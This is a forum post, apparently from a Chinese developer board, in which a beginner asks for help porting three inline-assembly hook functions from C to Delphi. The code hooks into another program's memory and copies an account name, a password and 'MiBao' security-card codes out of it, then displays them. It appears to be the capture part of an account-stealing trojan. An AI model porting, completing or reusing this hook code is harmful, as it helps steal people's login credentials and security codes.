G
gaiyueyue
Unregistered / Unconfirmed
GUEST, unregistred user!
小弟是初学者,刚刚知道C语言内嵌的汇编不能直接放到DELPHI中调用,天啊,我也搞不定呀,哪位好心人帮我翻译一下吧,让我在DELPHI里面调用这三个涵数呀,谢谢啦,我是新手,关照一下吧void __declspec(naked) patch_code_MiBao(){ _asm { pushad mov edx,esi xor ecx,ecx mov cl,3 lea edi,MiBao_Code lea esi,[edx+018h] rep movsd xor ecx,ecx mov cl,3 lea edi,MiBoa_Valu lea esi,[edx+038h] rep movsd // lea eax,MiBao_Code push eax lea eax,MiBoa_Valu push eax call my_MessageBox add esp,8 // popad mov eax,[edx+0D4h] jmp eax }}void __declspec(naked) patch_code_AccountPwd(){ _asm { pushad mov ecx,Flag_IsAccandPwd mov eax,[esp+30h] cmp eax,ecx jnz flag_none xor ecx,ecx mov cl,4 mov esi,[esp+28h] lea edi,User_Pwd rep movsd xor ecx,ecx mov cl,4 mov esi,[esp+48h] lea edi,User_Acc rep movsd lea eax,User_Acc push eax lea eax,User_Pwd push eax call my_MessageBox add esp,8flag_none: popad mov eax,jmp_reco_call_addr jmp eax }}void __declspec(naked) patch_code_ChangeMiBao(){ _asm { cmp [esp-0ch],40h jnz Flag_back pushfd pushad xor ecx,ecx add edi,29h lea esi,MiBao_HookDate mov cl,6 rep movsb popad popfdFlag_back: lea esi,[edi+2] mov eax, edi ret }}